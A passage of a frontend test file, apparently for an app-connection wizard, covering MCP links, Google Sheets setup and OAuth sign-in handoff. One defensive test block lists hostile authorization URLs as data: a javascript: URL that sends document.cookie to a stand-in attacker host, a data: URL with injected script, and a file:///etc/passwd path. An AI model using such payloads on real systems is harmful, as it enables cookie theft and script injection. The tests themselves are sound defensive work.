expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["action-1", "action-2"],
|
||
askFirstCatalogEntryIds: [],
|
||
access: "all_agents",
|
||
});
|
||
expect(putConnectionInstallsMock).toHaveBeenCalledWith("conn-1", [
|
||
{ targetType: "company", targetId: "company-1" },
|
||
]);
|
||
});
|
||
|
||
it("keeps alternate setup methods out of the connection wizard", async () => {
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("More ways to connect");
|
||
expect(container.textContent).not.toContain("Run your own");
|
||
expect(container.textContent).not.toContain("Paste a config");
|
||
});
|
||
|
||
// PAP-11091: discoverability copy for remote MCP URLs — the link field
|
||
// advertises that any remote tool URL (incl. a local MCP server) works. Per
|
||
// the UX re-review, the localhost example lives in the body copy (legible at
|
||
// every viewport) rather than the placeholder, which truncated on mobile.
|
||
it("advertises that remote/local MCP URLs work under 'Connect with a link'", async () => {
|
||
await render();
|
||
|
||
expect(container.textContent).toContain(
|
||
"Any remote tool URL works here — including a local MCP server like",
|
||
);
|
||
expect(container.textContent).toContain("http://127.0.0.1:8848/mcp");
|
||
const linkInput = Array.from(container.querySelectorAll<HTMLInputElement>("input")).find((i) =>
|
||
i.getAttribute("placeholder")?.startsWith("https://example.com/actions"),
|
||
);
|
||
// Placeholder stays a single, short example so it never truncates.
|
||
expect(linkInput?.getAttribute("placeholder")).toBe("https://example.com/actions");
|
||
});
|
||
|
||
// Reconnect from the app page: ?link/?name/?applicationId prefill skips the
|
||
// gallery and re-attaches the connection to the existing application.
|
||
it("prefills the link frame from search params and passes applicationId to connect", async () => {
|
||
mockSearch.value =
|
||
"link=https%3A%2F%2Fwww.example.com%2Factions&name=Bla&applicationId=app-77";
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).toContain("https://www.example.com/actions");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
link: "https://www.example.com/actions",
|
||
name: "Bla for the organization",
|
||
applicationId: "app-77",
|
||
});
|
||
});
|
||
|
||
it("shows the Google Sheets robot email and keeps empty sheet links from continuing", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Share each sheet with this email");
|
||
expect(container.textContent).toContain("robot@paperclip.iam.gserviceaccount.com");
|
||
expect(container.textContent).toContain(
|
||
"In Google Sheets, click Share and add this email as an Editor. Then paste the sheet links below.",
|
||
);
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
});
|
||
|
||
it("shows inline validation for invalid Google Sheets links", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
const textarea = container.querySelector<HTMLTextAreaElement>("textarea");
|
||
await act(async () => setTextareaValue(textarea!, "https://example.com/not-a-sheet"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("That doesn't look like a Google Sheets link.");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("gallery setup names the connection automatically", async () => {
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect GitHub");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=github");
|
||
});
|
||
|
||
it("keeps the originating connection intent in wizard URLs", async () => {
|
||
const interactionId = "11111111-1111-4111-8111-111111111111";
|
||
mockSearch.value = `intent=${interactionId}`;
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(mockNavigate).toHaveBeenCalledWith(
|
||
`/apps/connect?source=github&intent=${interactionId}`,
|
||
);
|
||
|
||
await passAccessStep();
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
it("steps back from the single connect screen straight to Connectors", async () => {
|
||
mockSearch.value = "";
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connect GitHub");
|
||
|
||
// PAP-659: there is no Access step to return to, so Back is a single hop
|
||
// out of the connector rather than a two-hop wizard retreat.
|
||
await act(async () => {
|
||
buttonByText("Back")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect?byo=1");
|
||
});
|
||
|
||
it("leaving the default name connects with the app name", async () => {
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await passAccessStep();
|
||
|
||
const keyField = container.querySelector<HTMLInputElement>("input[type=password]");
|
||
await act(async () => setInputValue(keyField!, "secret-key"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=github");
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({ galleryKey: "github", name: "GitHub for the organization" });
|
||
});
|
||
|
||
it("continues an exact credential-based draft instead of creating a replacement", async () => {
|
||
const connectionId = "33333333-3333-4333-8333-333333333333";
|
||
mockSearch.value = `source=github&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [GITHUB] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{ id: "app-github", status: "active", metadata: { sourceTemplateKey: "github" } }],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
applicationId: "app-github",
|
||
name: "Engineering GitHub for the organization",
|
||
authKind: "api_key",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "github", connectionMethodKey: "mcp-key" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
const keyField = container.querySelector<HTMLInputElement>("input[type=password]");
|
||
await act(async () => setInputValue(keyField!, "replacement-key"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
galleryKey: "github",
|
||
connectionMethodKey: "mcp-key",
|
||
resumeConnectionId: connectionId,
|
||
name: "Engineering GitHub for the organization",
|
||
credentialValues: { "credentials.authorization": "replacement-key" },
|
||
});
|
||
});
|
||
|
||
it("uses the gallery app name automatically", async () => {
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await passAccessStep();
|
||
|
||
const keyField = container.querySelector<HTMLInputElement>("input[type=password]");
|
||
await act(async () => setInputValue(keyField!, "secret-key"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
galleryKey: "github",
|
||
name: "GitHub for the organization",
|
||
});
|
||
});
|
||
|
||
it("uses the Google Sheets app name automatically", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
const textarea = container.querySelector<HTMLTextAreaElement>("textarea");
|
||
await act(async () =>
|
||
setTextareaValue(textarea!, "https://docs.google.com/spreadsheets/d/sheet_123/edit"),
|
||
);
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
galleryKey: "google-sheets",
|
||
name: "Google Sheets for the organization",
|
||
configValues: { allowedSpreadsheetIds: ["sheet_123"] },
|
||
});
|
||
});
|
||
|
||
it("passes parsed Google Sheets IDs as connection config values", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
const textarea = container.querySelector<HTMLTextAreaElement>("textarea");
|
||
await act(async () =>
|
||
setTextareaValue(
|
||
textarea!,
|
||
"https://docs.google.com/spreadsheets/d/sheet_123/edit\nhttps://docs.google.com/spreadsheets/d/sheet_456",
|
||
)
|
||
);
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
galleryKey: "google-sheets",
|
||
configValues: { allowedSpreadsheetIds: ["sheet_123", "sheet_456"] },
|
||
});
|
||
});
|
||
});
|
||
|
||
/**
|
||
* PAP-17087 — the BYO URL card is now the guided universal flow. What matters is
|
||
* that the simple path stayed simple, that each failure mode names the thing the
|
||
* operator has to change, and that a pasted endpoint that needs sign-in actually
|
||
* gets there instead of a "coming soon" toast.
|
||
*/
|
||
describe("AppsConnect — guided generic MCP flow (PAP-17087)", () => {
|
||
let container: HTMLDivElement;
|
||
let mountedRoot: Root | null;
|
||
|
||
beforeEach(() => {
|
||
mockSearch.value = "";
|
||
mockParams.appKey = undefined;
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mountedRoot = null;
|
||
listGalleryMock.mockResolvedValue({ apps: [ZAPIER] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [] });
|
||
listAgentsMock.mockResolvedValue([]);
|
||
finishAppMock.mockResolvedValue({});
|
||
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
startOAuthMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
provider: "mcp_example_test",
|
||
authorizationUrl: "https://auth.example.test/authorize?state=abc",
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
});
|
||
});
|
||
|
||
afterEach(async () => {
|
||
if (mountedRoot) {
|
||
await act(async () => mountedRoot?.unmount());
|
||
}
|
||
document.body.removeChild(container);
|
||
document.body.innerHTML = "";
|
||
vi.restoreAllMocks();
|
||
vi.clearAllMocks();
|
||
});
|
||
|
||
async function render() {
|
||
const root = createRoot(container);
|
||
mountedRoot = root;
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
await act(async () => {
|
||
root.render(
|
||
<QueryClientProvider client={client}>
|
||
<AppsConnect />
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
return root;
|
||
}
|
||
|
||
async function openAdvanced() {
|
||
await act(async () => {
|
||
buttonContaining("Advanced authentication")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
// Production branches on `error instanceof ApiError`, so the double has to be a
|
||
// real one — a look-alike would silently fall through to the generic message and
|
||
// make these tests pass for the wrong reason.
|
||
function apiError(status: number, code: string, message: string) {
|
||
return new ApiError(message, status, { error: message, details: { code } });
|
||
}
|
||
|
||
it("defaults the hidden connection name from host, port, and path", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "http://127.0.0.1:47399/mcp");
|
||
|
||
expect(container.querySelector("#generic-mcp-name")).toBeNull();
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
name: "127.0.0.1:47399/mcp for the organization",
|
||
});
|
||
});
|
||
|
||
it("keeps the endpoint host visible while skipping action review", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
|
||
expect(container.textContent).toContain("Unverified server");
|
||
expect(container.textContent).toContain("mcp.example.test");
|
||
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: {
|
||
readOnly: [{
|
||
catalogEntryId: "cat-read",
|
||
toolName: "list_things",
|
||
title: "List things",
|
||
description: null,
|
||
riskLevel: "read",
|
||
isReadOnly: true,
|
||
isWrite: false,
|
||
isDestructive: false,
|
||
status: "active",
|
||
}, {
|
||
catalogEntryId: "cat-search",
|
||
toolName: "search_things",
|
||
title: "Search things",
|
||
description: null,
|
||
riskLevel: "read",
|
||
isReadOnly: true,
|
||
isWrite: false,
|
||
isDestructive: false,
|
||
status: "active",
|
||
}],
|
||
canMakeChanges: [{
|
||
catalogEntryId: "cat-delete",
|
||
toolName: "qa_delete_widget",
|
||
title: null,
|
||
description: null,
|
||
riskLevel: "destructive",
|
||
isReadOnly: false,
|
||
isWrite: true,
|
||
isDestructive: true,
|
||
status: "active",
|
||
}],
|
||
},
|
||
catalog: [],
|
||
suggestedDefaults: { askFirstRiskLevels: [] },
|
||
});
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The completion summary states identity and reach once each, as three
|
||
// lines rather than badges, and still never lists the actions.
|
||
expect(container.textContent).toContain("mcp.example.test is ready.");
|
||
expect(container.textContent).toContain("Organization identity");
|
||
expect(container.textContent).toContain("Any agent");
|
||
expect(container.textContent).toContain("3 actions on");
|
||
expect(container.textContent).not.toContain("List things");
|
||
expect(container.querySelectorAll('[role="switch"]')).toHaveLength(0);
|
||
});
|
||
|
||
it("offers a curated setup as a convenience without leaving the generic flow", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.zapier.com/api/v1/connect?token=t");
|
||
|
||
// Both routes are present: the branded shortcut and the generic form itself.
|
||
expect(container.textContent).toContain("Paperclip has a guided setup for Zapier.");
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(buttonByText("Check link")).toBeTruthy();
|
||
});
|
||
|
||
it("explains a private-network address instead of blaming the key", async () => {
|
||
connectAppMock.mockRejectedValue(
|
||
apiError(400, "remote_http_private_endpoint", "Remote MCP connection URL cannot target private or reserved network addresses"),
|
||
);
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("That address is inside a private network");
|
||
// Still on the setup screen with the address in hand, not bounced back.
|
||
expect(buttonByText("Check link")).toBeTruthy();
|
||
});
|
||
|
||
it("explains an unreachable host", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(400, "remote_http_dns_failed", "hostname could not be resolved"));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("We couldn't find that host");
|
||
});
|
||
|
||
it("uses deployment guidance without rendering the server env-var message", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(
|
||
422,
|
||
"oauth_redirect_origin_unsupported",
|
||
"OAuth connections require PAPERCLIP_PUBLIC_URL or an auth public base URL",
|
||
));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This Paperclip needs a public HTTPS address first");
|
||
expect(container.textContent).not.toContain("PAPERCLIP_PUBLIC_URL");
|
||
});
|
||
|
||
it("does not ask the operator to resolve an internal name conflict", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(
|
||
409,
|
||
"tool_access_name_conflict",
|
||
"A tool access record with that name already exists",
|
||
));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Paperclip couldn’t name this connection");
|
||
expect(container.textContent).not.toContain("Choose a different name");
|
||
expect(container.querySelector("#generic-mcp-name")).toBeNull();
|
||
});
|
||
|
||
it("opens advanced authentication when the server wants a credential we can't discover", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(502, "oauth_challenge", "This app needs you to sign in."));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This server wants a credential");
|
||
// The advanced section is now open, so the fields to fix it are on screen.
|
||
expect(container.textContent).toContain("Custom headers");
|
||
expect(container.textContent).not.toContain("coming soon");
|
||
});
|
||
|
||
it("sends the operator to sign-in when the endpoint needs browser authorization", async () => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://auth.example.test/authorize?state=abc" },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://auth.example.test/authorize?state=abc");
|
||
// Residual risk of a real-but-hostile authorization page: name the host the
|
||
// operator is being handed to (PAP-17099).
|
||
expect(container.textContent).toContain("auth.example.test");
|
||
});
|
||
|
||
// The curated flow has its own regression test for this. The generic flow is
|
||
// a separate two-step model with a separate override, so it needs its own —
|
||
// otherwise the waiting screen could quietly drop back to the curated
|
||
// single-step label here and nothing would catch it.
|
||
it("keeps the generic two-step model when a pasted endpoint hands off to sign-in", async () => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://auth.example.test/authorize?state=abc" },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
|
||
const stepsBeforeHandoff = stepLabelsOnScreen();
|
||
expect(stepsBeforeHandoff).toEqual(["Pick app", "Add your key"]);
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// Signing in must neither grow the stepper nor shrink it to the curated
|
||
// two-step set the pasted endpoint never walked.
|
||
expect(stepLabelsOnScreen()).toEqual(stepsBeforeHandoff);
|
||
expect(stepDotCount()).toBe(stepsBeforeHandoff.length);
|
||
});
|
||
|
||
it("exchanges a managed connect response in the tenant without opening Cloud confirmation", async () => {
|
||
const session = "managed_background_session_1234";
|
||
const request = vi.spyOn(globalThis, "fetch").mockImplementation(async (input) =>
|
||
input === "/cloud/connections/handoff"
|
||
? Response.json({ authorizationUrl: "https://provider.example.test/authorize?state=managed" })
|
||
: new Response(null, { status: 404 }));
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
connection: { id: "conn-1", credentialPolicy: "shared", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: {
|
||
kind: "oauth",
|
||
startUrl: "https://my.paperclip.app/connections/confirm?session=legacy",
|
||
handoff: { kind: "paperclip_cloud", session },
|
||
},
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(request).toHaveBeenCalledWith("/cloud/connections/handoff", expect.objectContaining({
|
||
method: "POST",
|
||
body: JSON.stringify({ session }),
|
||
}));
|
||
await vi.waitFor(() => {
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://provider.example.test/authorize?state=managed",
|
||
);
|
||
});
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(expect.stringContaining("/connections/confirm"));
|
||
});
|
||
|
||
/**
|
||
* PAP-17099 — a generic MCP server picks its own authorization endpoint, and
|
||
* `window.location.assign` is where an unsafe scheme would actually execute.
|
||
* The board refuses independently of the API response.
|
||
*/
|
||
describe("unsafe authorization urls", () => {
|
||
const UNSAFE = [
|
||
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
|
||
["data:", "data:text/html,<script>alert(document.domain)</script>"],
|
||
["file:", "file:///etc/passwd"],
|
||
["plaintext http", "http://evil.test/authorize"],
|
||
["credentials", "https://auth.example.test@evil.test/authorize"],
|
||
] as const;
|
||
|
||
it.each(UNSAFE)("never opens a %s start url from connect", async (_label, startUrl) => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
connection: { id: "conn-1", credentialPolicy: "shared", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("couldn’t connect");
|
||
// The refusal is explained without echoing the hostile address on screen.
|
||
expect(container.textContent).not.toContain(startUrl);
|
||
expect(container.textContent).toMatch(/sign-in address/);
|
||
});
|
||
|
||
it.each(UNSAFE)("never opens a %s authorization url from start sign-in", async (_label, authorizationUrl) => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
connection: { id: "conn-1", credentialPolicy: "shared", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
startOAuthMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
provider: "mcp_example_test",
|
||
authorizationUrl,
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1", {
|
||
asCurrentUser: false,
|
||
});
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("couldn’t connect");
|
||
expect(container.textContent).not.toContain(authorizationUrl);
|
||
// Retry is still offered rather than a dead end.
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
});
|
||
});
|
||
|
||
it("asks for a preregistered client rather than losing the draft", async () => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null, manualClientRequired: true },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This server needs sign-in details you create yourself");
|
||
expect(container.textContent).toContain("Client ID");
|
||
expect(container.textContent).toContain("Client secret");
|
||
// No redirect happened: there is nothing to redirect to yet.
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("submits custom headers as secret-backed credential values", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
await act(async () => {
|
||
buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.getAttribute("aria-label") === "Header name")!;
|
||
await act(async () => setInputValue(nameInput, "X-Api-Key"));
|
||
await flushReact();
|
||
const valueInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.type === "password")!;
|
||
await act(async () => setInputValue(valueInput, "phx_secret"));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
link: "https://mcp.example.test/mcp",
|
||
authMode: "custom_headers",
|
||
credentialValues: { "headers.X-Api-Key": "phx_secret" },
|
||
});
|
||
});
|
||
|
||
it("blocks a header Paperclip refuses to send before making a request", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
